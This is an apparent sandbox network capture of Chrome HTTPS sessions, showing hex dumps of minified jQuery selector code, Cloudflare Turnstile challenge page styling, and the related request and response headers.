2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49732	104.18.95.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:35 UTC	797	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/gwrm9/0x4AAAAAAA3Q2biiOsc--vat/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://cciq.absousium.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:35 UTC	1362	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26636 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-09 03:28:35 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 31 35 36 38 65 61 63 61 33 34 32 64 62 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ff1568eaca342db-EWRalt-svc: h3=":443"; ma=86400
2025-01-09 03:28:35 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49734	104.18.94.41	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:35 UTC	383	OUT	GET /turnstile/v0/g/849bfe45bf45/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:35 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:35 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Thu, 02 Jan 2025 13:52:36 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 8ff1568eeac4729b-EWR alt-svc: h3=":443"; ma=86400
